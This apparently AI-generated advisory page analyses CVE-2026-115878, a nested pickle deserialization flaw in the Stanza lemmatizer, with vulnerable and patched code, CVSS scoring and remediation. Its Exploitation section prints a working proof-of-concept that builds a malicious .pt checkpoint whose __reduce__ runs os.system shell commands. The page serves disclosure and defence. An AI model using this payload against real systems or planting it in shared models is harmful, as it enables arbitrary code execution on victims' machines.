CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-115878

CVE-2026-115878: Arbitrary Code Execution via Nested Pickle Deserialization in Stanford NLP Stanza Lemmatizer

Amit Schendel
Amit Schendel
Senior Security Researcher

Nov 3, 2026·9 min read·3 visits

Executive Summary (TL;DR)

Stanza 1.14.0 stores lemmatizer part-of-speech dictionaries as gzip-compressed pickle byte streams inside PyTorch checkpoints. PyTorch's weights_only=True parameter permits raw bytes primitives without inspection, and Stanza subsequently passes these decompressed bytes to an unrestricted pickle.loads() call, allowing arbitrary code execution during pipeline initialization.

CVE-2026-115878 (GHSA-gh9r-c94j-cmp5) is an arbitrary code execution vulnerability in the Stanford NLP Stanza Python library affecting version 1.14.0. The flaw originates from insecure deserialization of untrusted data (CWE-502) within the lemmatizer model loading pipeline in stanza/models/lemma/trainer.py. While Stanza utilizes PyTorch's weights_only=True flag during outer checkpoint loading, it embeds a gzip-compressed pickle byte stream inside the checkpoint dictionary. Because PyTorch treats raw bytes objects as safe primitives, the nested payload bypasses the outer allowlist and is subsequently passed to an unrestricted pickle.loads() call, enabling arbitrary code execution when loading a malicious model.

Vulnerability Overview

Stanford NLP Stanza is a Python natural language processing library used for tokenization, sentence segmentation, named entity recognition (NER), part-of-speech (POS) tagging, and lemmatization across multiple languages. To perform inference, Stanza constructs processing pipelines that load serialized PyTorch model checkpoints from local storage or remote model registries.

In version 1.14.0, Stanza modified the internal storage format of the lemmatizer processor (stanza/models/lemma/trainer.py) to optimize how part-of-speech dictionary mappings (pos_dict) are stored within .pt checkpoint files. The library introduced a serialization helper that converts pos_dict into a Python pickle stream, compresses it with gzip, and stores the resulting raw bytes object under the dicts key of the checkpoint dictionary.

This architectural decision introduces a Deserialization of Untrusted Data vulnerability (CWE-502) that bypasses PyTorch's secure loading mechanism. Although Stanza invokes torch.load(..., weights_only=True) to restrict unpickling at the top-level checkpoint boundary, the inner compressed byte stream is ignored by PyTorch's type allowlist and passed directly to an unrestricted pickle.loads() call during model initialization.

Consequently, any application or user initializing a Stanza pipeline with an untrusted or attacker-modified lemmatizer checkpoint (lemma_model_path) will execute arbitrary Python code and operating system commands under the privileges of the executing process before any text inference takes place.

Root Cause Analysis

The root cause of CVE-2026-115878 is a trust boundary violation caused by two-stage deserialization. Modern PyTorch versions provide the weights_only=True parameter in torch.load() to prevent arbitrary code execution during checkpoint deserialization. When enabled, PyTorch replaces the standard Python unpickler with a restricted unpickler that only permits primitive Python data types, standard tensor storage classes, and explicitly whitelisted functions.

In Stanza 1.14.0, the lemmatizer checkpoint format version 2 (_DICTS_VERSION_POS = 2) serializes the pos_dict dictionary into a compressed binary blob before passing the overarching dictionary to torch.save(). From the perspective of the outer torch.load(..., weights_only=True) call, the value stored at checkpoint['dicts'] is simply a primitive Python bytes object. Because bytes cannot execute code on its own, PyTorch's restricted unpickler treats it as safe and loads it into memory without inspecting its internal contents.

Once torch.load() returns the outer dictionary to Trainer.load() in stanza/models/lemma/trainer.py, Stanza inspects the dicts_version key. When dicts_version equals 2, Stanza invokes the helper function _unpack_pos_dict(checkpoint['dicts']). This function wraps the raw bytes in an io.BytesIO buffer, decompresses the stream via gzip.GzipFile, and passes the resulting byte array directly to Python's standard pickle.loads() function.

Because the standard pickle.loads() implementation implements a stack-based virtual machine capable of importing arbitrary modules and invoking callables via the __reduce__ special method, the protection offered by weights_only=True is completely negated. Furthermore, while Stanza verifies SHA-256 checksums when downloading default models from the official Stanford registry, no integrity or cryptographic verification is performed when loading checkpoints specified via local paths or custom model registries.

Code Analysis

In Stanza 1.14.0, the vulnerable code paths reside in stanza/models/lemma/trainer.py. During model saving, _pack_pos_dict serializes the dictionary using pickle.dumps with protocol 4 and compresses it. During model loading, Trainer.load retrieves the checkpoint and delegates decompression and unpickling to _unpack_pos_dict.

# Vulnerable implementation in stanza/models/lemma/trainer.py (v1.14.0)
_DICTS_VERSION_LEGACY = 1   # old (word_dict, composite_dict) tuple
_DICTS_VERSION_POS    = 2   # new {pos: {word: lemma}}, gzip-pickled bytes
 
def _pack_pos_dict(pos_dict):
    """Serialize pos_dict to gzip-compressed pickle bytes for storage."""
    raw = pickle.dumps(pos_dict, protocol=4)
    buf = io.BytesIO()
    with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz:
        gz.write(raw)
    return buf.getvalue()
 
def _unpack_pos_dict(data):
    """Deserialize pos_dict from gzip-compressed pickle bytes."""
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    # VULNERABILITY: Unrestricted deserialization of inner byte stream
    return pickle.loads(raw)

When Trainer.load() is invoked during pipeline setup, the code executes the following sequence:

# Vulnerable loading logic in Trainer.load (v1.14.0)
def load(self, filename, args, foundation_cache, lemma_classifier_args=None):
    # Outer load uses weights_only=True, which passes raw bytes through uninspected
    checkpoint = torch.load(filename, lambda storage, loc: storage, weights_only=True)
    ...
    dicts_version = checkpoint.get('dicts_version', _DICTS_VERSION_LEGACY)
    if dicts_version == _DICTS_VERSION_POS:
        # Triggers unrestricted pickle.loads()
        self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])

In commit b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0 (released in Stanza 1.15.0), the maintainers remediated the vulnerability by replacing pickle with orjson, a data-only JSON serialization library implemented in Rust. The patch also deprecates version 2 checkpoints and bumps the format identifier to version 3 (_DICTS_VERSION_POS = 3).

--- a/stanza/models/lemma/trainer.py
+++ b/stanza/models/lemma/trainer.py
@@ -30,8 +30,12 @@
 _POS_INDEPENDENT = "*"
 
 # Version tag stored in the checkpoint to distinguish dict formats
-_DICTS_VERSION_LEGACY = 1   # old (word_dict, composite_dict) tuple
-_DICTS_VERSION_POS    = 2   # new {pos: {word: lemma}}, gzip-pickled bytes
+_DICTS_VERSION_LEGACY     = 1   # old (word_dict, composite_dict) tuple
+_DICTS_VERSION_POS_PICKLE = 2   # new {pos: {word: lemma}}, gzip+pickle bytes (security hole, replaced by v3)
+_DICTS_VERSION_POS        = 3   # new {pos: {word: lemma}}, gzip+json bytes
+
+import orjson
 
 def _pack_pos_dict(pos_dict):
-    """Serialize pos_dict to gzip-compressed pickle bytes for storage."""
-    raw = pickle.dumps(pos_dict, protocol=4)
+    """Serialize pos_dict to gzip-compressed JSON bytes for storage."""
+    raw = orjson.dumps(pos_dict)
     buf = io.BytesIO()
     with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz:
         gz.write(raw)
@@ -52,11 +56,12 @@ def _pack_pos_dict(pos_dict):
 
 def _unpack_pos_dict(data):
-    """Deserialize pos_dict from gzip-compressed pickle bytes."""
+    """Deserialize pos_dict from gzip-compressed JSON bytes (v3 format)."""
     buf = io.BytesIO(data)
     with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
         raw = gz.read()
-    return pickle.loads(raw)
+    return orjson.loads(raw)
 
@@ -376,6 +381,12 @@ def load(self, filename, args, foundation_cache, lemma_classifier_args=None):
         dicts_version = checkpoint.get('dicts_version', _DICTS_VERSION_LEGACY)
         if dicts_version == _DICTS_VERSION_POS:
             self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])
+        elif dicts_version == _DICTS_VERSION_POS_PICKLE:
+            raise ValueError(
+                f"Lemmatizer model {filename!r} uses a pickle-based dict format (v2) "
+                "that is no longer supported for security reasons. "
+                "Please re-download the model or run convert_lemma_dict.py to upgrade it to v3."
+            )
         else:
             # legacy format: (word_dict, composite_dict) tuple

The fix is complete for this code path. By replacing pickle.loads() with orjson.loads() and explicitly raising a ValueError whenever a version 2 checkpoint (_DICTS_VERSION_POS_PICKLE = 2) is encountered, Stanza eliminates the ability to instantiate arbitrary Python objects during lemmatizer initialization. As noted in the advisory, this was the only bare pickle.loads call in the codebase.

Exploitation

Exploiting CVE-2026-115878 requires an attacker to supply a crafted .pt lemmatizer checkpoint file and induce a target application or user running Stanza 1.14.0 to load it. No authentication or elevated privileges are required, though user or application interaction is necessary to specify the untrusted model file path.

In standard usage, the vulnerable code path is reachable directly through the high-level stanza.Pipeline API whenever the lemma processor is active and lemma_model_path points to the attacker-controlled file:

import stanza
 
# Triggers Trainer.load() -> _unpack_pos_dict() during pipeline construction
nlp = stanza.Pipeline(
    lang="en",
    processors="tokenize,pos,lemma",
    lemma_model_path="/path/to/evil_lemma.pt"
)

To construct a weaponized checkpoint, an attacker defines a Python class implementing the __reduce__ method returning a callable and its arguments, such as (os.system, (cmd,)). The attacker serializes an instance of this class with pickle.dumps(), compresses the output using gzip, and places the resulting bytes into a dictionary alongside "dicts_version": 2. Saving this dictionary with torch.save() yields a valid PyTorch checkpoint that passes torch.load(..., weights_only=True) without raising any warnings or exceptions.

import gzip
import io
import os
import pickle
import tempfile
import torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS
 
MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")
 
class Payload:
    def __reduce__(self):
        cmd = f"id > {MARKER} 2>&1; echo executed_by=$(whoami) >> {MARKER}"
        return (os.system, (cmd,))
 
# 1. Serialize malicious payload and compress with gzip
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz:
    gz.write(pickle.dumps(Payload(), protocol=4))
 
# 2. Package checkpoint with dicts_version == 2 (_DICTS_VERSION_POS in 1.14.0)
ckpt = {
    "dicts": buf.getvalue(),
    "dicts_version": _DICTS_VERSION_POS
}
 
pt_path = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt_path, _use_new_zipfile_serialization=False)
 
# 3. Outer torch.load with weights_only=True succeeds without warning
loaded = torch.load(pt_path, lambda s, l: s, weights_only=True)
 
# 4. Unpacking triggers command execution
_unpack_pos_dict(loaded["dicts"])

> [!NOTE] > Because LemmaProcessor._set_up_model() instantiates Trainer and calls Trainer.load() during pipeline initialization, arbitrary code execution occurs immediately upon calling stanza.Pipeline(...), prior to passing any input text for inference.

Impact Assessment

The vulnerability carries a CVSS v3.1 base score of 7.8 (High) with the vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. The attack vector is classified as Local (AV:L) with User Interaction Required (UI:R) because the target environment must load a model file provided by an external party or retrieved from an untrusted repository.

In machine learning workflows, sharing fine-tuned or language-specific models via public hubs, shared network drives, or custom model registries is routine. Developers and data scientists frequently assume that libraries utilizing torch.load(..., weights_only=True) are immune to pickle-based code execution when evaluating third-party .pt checkpoints. CVE-2026-115878 subverts this expectation, turning routine model evaluation into an immediate code execution vector.

If a web service, API backend, or automated ML pipeline running Stanza 1.14.0 allows users to upload custom lemmatizer models or dynamically specify lemma_model_path parameters via API requests, the vulnerability can be exploited remotely over the network without authentication.

Successful exploitation grants the attacker full code execution capabilities within the security context of the Python process (S:U). This results in total compromise of Confidentiality (C:H), Integrity (I:H), and Availability (A:H) for all data, credentials, environment variables, and files accessible to the service account or user running Stanza.

Remediation

Users and administrators utilizing the stanza library must upgrade to version 1.15.0 or later immediately. Version 1.15.0 replaces pickle serialization in the lemmatizer with orjson and blocks the loading of version 2 pickle-based lemmatizer checkpoints.

pip install --upgrade "stanza>=1.15.0"

After upgrading to Stanza 1.15.0, any existing lemmatizer models trained or downloaded using Stanza 1.14.0 (which use _DICTS_VERSION_POS_PICKLE = 2) will fail to load and will raise a ValueError. Users must either re-download updated models from the official Stanford NLP model registry or convert trusted local v2 models to the v3 JSON format using the provided migration script (stanza/utils/lemma/convert_lemma_dict.py).

> [!WARNING] > Do not run convert_lemma_dict.py on untrusted or third-party v2 model checkpoints, as converting a v2 checkpoint requires unpickling its existing pos_dict stream.

If an immediate upgrade from version 1.14.0 is not possible, organizations must enforce strict controls over model provenance. Do not load checkpoints from untrusted sources, and ensure application code never passes user-influenced file paths to lemma_model_path or custom model registries. Additionally, verify that any pre-existing checkpoints match the official SHA-256 hashes published by Stanford NLP before initializing pipelines.

Official Patches

stanfordnlpCommit replacing pickle with orjson for lemma dictionary serialization.
stanfordnlpStanza v1.15.0 release containing the security patch.
stanfordnlpPull request merging the security fix into Stanza.

Fix Analysis (1)

Technical Appendix

CVSS Score
7.8/ 10
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected Systems

Stanford NLP Stanza (PyPI: stanza)

Affected Versions Detail

Product
Affected Versions
Fixed Version
stanza
stanfordnlp
>= 1.14.0, < 1.15.01.15.0
AttributeDetail
CVE IDCVE-2026-115878 (GHSA-gh9r-c94j-cmp5)
Vulnerability ClassCWE-502: Deserialization of Untrusted Data
CVSS v3.1 Score7.8 HIGH (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Affected Componentstanza/models/lemma/trainer.py (_unpack_pos_dict)
Affected Versionsstanza 1.14.0
Patched Versionstanza 1.15.0
Exploit StatusPublic Proof-of-Concept (PoC) Available
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
T1190Exploit Public-Facing Application
Initial Access
CWE-502
Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing attackers to instantiate arbitrary objects and execute arbitrary code.

Known Exploits & Detection

GitHub Security AdvisoryOfficial advisory containing end-to-end Proof of Concept code demonstrating arbitrary command execution via a crafted lemma .pt checkpoint.

Vulnerability Timeline

Fix commit b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0 authored and merged, replacing pickle with orjson.
2026-07-30
Stanza version 1.15.0 released via commit 670dfb524f8516ea7ff3f6e6e530d8b6c27a9170.
2026-07-30
CVE-2026-115878 and GitHub Security Advisory GHSA-gh9r-c94j-cmp5 officially published.
2026-11-03

References & Sources

  • [1]GitHub Security Advisory: GHSA-gh9r-c94j-cmp5
  • [2]Fix Commit b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0
  • [3]GitHub Pull Request #1649
  • [4]Stanford NLP Stanza v1.15.0 Release Notes
  • [5]CVE-2026-115878 Official Record
  • [6]Stanford NLP Stanza GitHub Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-44265
7.4

CVE-2026-44265: Code and SQL Injection via Programmatic AST Emission in @enspirit/elo

A code injection and SQL injection vulnerability exists in @enspirit/elo prior to version 1.0.1. When compiling expressions via the programmatic Abstract Syntax Tree (AST) API, the backend emitters for JavaScript, Ruby, Python, and PostgreSQL SQL fail to perform runtime type validation or lexical verification on AST node properties. Applications that construct or deserialize AST nodes from untrusted sources allow attackers to inject arbitrary code or SQL commands directly into the emitted target output.

Alon Barad
Alon Barad
3 views•9 min read
•about 3 hours ago•CVE-2026-44266
9.8

CVE-2026-44266: Remote Code Execution in @enspirit/elo Ruby Compiler Backend via Unescaped String Interpolation

CVE-2026-44266 (GHSA-7w38-ggh5-v542) is a code injection vulnerability in @enspirit/elo prior to version 1.0.1. The Ruby target compiler fails to escape the hash character (#) when emitting double-quoted Ruby string literals and subtype constraint failure labels. An attacker who supplies crafted Elo expressions to an application compiling and executing Ruby output achieves arbitrary code execution.

Alon Barad
Alon Barad
2 views•10 min read
•about 4 hours ago•CVE-2026-44267
9.8

CVE-2026-44267: Sandbox Escape and Arbitrary Code Execution in Elo Expression Language

CVE-2026-44267 is a sandbox escape and code injection vulnerability in @enspirit/elo prior to version 1.0.1. Due to unrestricted member access transformation in the compiler pipeline, plain Elo expression strings can traverse JavaScript object prototypes via .constructor.constructor to access the host runtime Function constructor. This allows attackers supplying untrusted Elo expressions to execute arbitrary JavaScript in Node.js server environments or client browser contexts.

Amit Schendel
Amit Schendel
5 views•9 min read
•1 day ago•CVE-2026-62374
7.1

CVE-2026-62374: Silent Claim-Set Reduction and Verification Bypass in SD JWT JS

CVE-2026-62374 (GHSA-f9j6-8p6x-r9j6) is a verification bypass vulnerability in the OpenWallet Foundation SD JWT JS library (@sd-jwt/core and @sd-jwt/decode versions 0.19.0 and earlier). Due to permissive UTF-8 decoding and the omission of mandatory reference checks during presentation verification, tampered or unreferenced disclosures are silently dropped rather than rejected. This deviates from RFC 9901 §7.1 requirements and allows attackers to execute silent claim-set reduction attacks against relying parties.

Alon Barad
Alon Barad
10 views•10 min read
•1 day ago•GHSA-J656-3HF2-FVJC
6.1

GHSA-j656-3hf2-fvjc: Read-Only SQL Validation Bypass via Comment Interpretation Conflict in Bytebase DBHub

An interpretation conflict in Bytebase DBHub (< 0.22.6) allows attackers to bypass read-only SQL query restrictions when connected to MySQL or MariaDB instances. Because DBHub's custom SQL tokenizer treats any '--' sequence as a comment, whereas MySQL and MariaDB require trailing whitespace or a control character, crafted queries containing '--' immediately followed by non-whitespace characters allow stacked destructive SQL statements to execute on connections configured as read-only.

Alon Barad
Alon Barad
6 views•9 min read
•3 days ago•CVE-2026-118777
4.8

CVE-2026-118777: Prototype Pollution in Forge HTTP Client Cookie Management

CVE-2026-118777 is a prototype pollution vulnerability (CWE-1321) in the Forge JavaScript cryptography and networking library (distributed on npm as node-forge) prior to version 1.4.1. The flaw resides in the forge.http client subsystem, where incoming HTTP cookie names and paths parsed from Set-Cookie response headers are stored directly into standard JavaScript objects without key validation or property isolation. By returning crafted Set-Cookie headers containing keys such as __proto__ or constructor, a malicious HTTP server can inject arbitrary properties into Object.prototype, attach attributes to the global Object constructor, or delete built-in prototype methods to cause an application-wide denial of service.

Amit Schendel
Amit Schendel
10 views•10 min read